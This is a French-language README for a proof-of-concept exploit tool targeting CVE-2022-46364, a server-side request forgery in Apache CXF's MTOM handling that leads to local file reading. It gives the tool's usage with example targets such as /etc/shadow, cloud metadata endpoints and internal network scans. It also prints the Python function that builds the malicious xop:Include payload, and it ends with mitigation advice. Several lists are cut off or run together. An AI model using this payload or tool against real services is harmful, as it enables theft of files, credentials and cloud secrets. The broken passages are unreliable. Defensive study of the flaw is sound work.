
Cette vulnérabilité permet à un attaquant d'effectuer des attaques SSRF (Server-Side Request Forgery) sur les services web Apache CXF qui acceptent les requêtes MTOM/XOP. Le problème réside dans la manière dont l'attribut href de xop:Include est analysé, permettant au serveur de demander des URL arbitraires.
CET OUTIL EST UNIQUEMENT DESTINÉ À DES TESTS DE SÉCURITÉ ÉDUCATIFS ET AUTORISÉS
Ce proof-of-concept est fourni à des fins éducatives pour aider les professionnels de la sécurité à comprendre la vulnérabilité et à protéger leurs systèmes. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par cet outil. Vous devez obtenir une autorisation écrite explicite du propriétaire du système avant d'effectuer des tests. En utilisant cet outil, vous acceptez de vous conformer à toutes les lois applicables.
| Attribut | Valeur |
|---|
| CVE ID | CVE-2022-46364 |
| GHSA ID | GHSA-x3x3-qwjq-8gj4 |
| Type de vulnérabilité | Server-Side Request Forgery (SSRF) → Local File Inclusion (LFI) |
| Logiciel concerné | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| Sévérité | Critique |
| Score CVSS | 9.8 (Critique) |
| Vecteur d'attaque | Réseau |
| Authentification | Aucune requise |
| Versions corrigées | Apache CXF 3.5.5+, 3.4.10+ |
Cet exploit exploite une vulnérabilité SSRF critique dans l'implémentation MTOM (Message Transmission Optimization Mechanism) d'Apache CXF pour parvenir à une inclusion de fichiers locaux (LFI) et à des capacités de scan réseau interne.
Apache CXF valide incorrectement l'attribut href dans les éléments xop:Include lors du traitement des messages SOAP encodés en MTOM. La bibliothèque utilise URLConnection de Java pour déréférencer l'URI sans restrictions de protocole appropriées, permettant aux attaquants de spécifier :
file:// - Lire des fichiers locaux (LFI)http:// / https:// - Requêtes réseau internes (SSRF)ftp:// - Requêtes FTP (potentiel d'exploitation supplémentaire)Cette vulnérabilité est particulièrement dangereuse car :
Tout déploiement Apache CXF qui :
MTOM (Message Transmission Optimization Mechanism) est une norme W3C pour optimiser la transmission de données binaires dans les messages SOAP. Elle utilise XOP (XML-binary Optimized Packaging) pour inclure des références de données binaires :
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
Normalement, href contient une référence CID (Content-ID) vers une partie MIME. Cependant, la classe AttachmentUtil d'Apache CXF traite les valeurs href comme des URI génériques sans désinfection appropriée.
Analyse de la requête :
Content-Type: application/xop+xmlAttachmentUtil.getAttachmentObject() traite les éléments xop:IncludeDéréférencement de l'URI :
new URL(href).openStream() directementfile:// n'est effectuéIncorporation de la réponse :
// Simplified representation of vulnerable code in CXF < 3.5.5
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // No protocol validation!
return new DataHandler(url.openStream());
}
Le protocole file:// suit le même chemin de code :
file:///etc/passwd → Java ouvre /etc/passwd en tant que flux de fichierEn itérant sur les IP et les ports, les attaquants peuvent :
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help Show this help message and exit
-t TARGET, --target TARGET
Target base URL (e.g., http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Web service endpoint path (default: /services/Service)
-u URL, --url URL External URL for SSRF (e.g., http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE Local file path for LFI (e.g., /etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN Scan internal network range in CIDR notation (e.g., 192.168.1.0/24)
| Argument | Description | Exemple |
|---|---|---|
-t, --target | Obligatoire. URL de base du service Apache CXF cible | http://10.10.10.50:8080 |
-e, --endpoint | Optionnel. Chemin du point de terminaison SOAP | /services/UserManagement |
-u, --url | URL HTTP/HTTPS à récupérer via SSRF | http://169.254.169.254/latest/user-data |
-f, --file | Chemin de fichier local à lire via LFI | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6 ou supérieur requis
python --version
# Clonez le dépôt
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### requirements
requests>=2.28.0 urllib3>=1.26.0
---
### Détails d'implémentation du cœur
#### 1. Construction de la charge utile MTOM
```python
def create_mtom_payload(uri):
"""Create a multipart/related MTOM message with xop:Include"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
Mettez à niveau vers une version corrigée :
<!-- Pour les projets Maven -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- ou 3.4.10 pour la branche legacy -->
</dependency>
Désactivez MTOM complètement (si non requis) :
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
Contrôles au niveau réseau :
Règles de pare-feu applicatif (WAF) :
xop:Include avec href pointant vers file:// ou des adresses IP internesCette vulnérabilité a été découverte et divulguée de manière responsable par :
Cet outil est fourni à des fins éducatives uniquement. Toute utilisation non autorisée est interdite.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
Dernière mise à jour : Mars 2026
Version : 1.0
Contact : Pour toute question ou préoccupation de sécurité, veuillez ouvrir une issue sur GitHub.
Ce document fait partie d'une recherche en sécurité responsable. Obtenez toujours une autorisation appropriée avant de tester.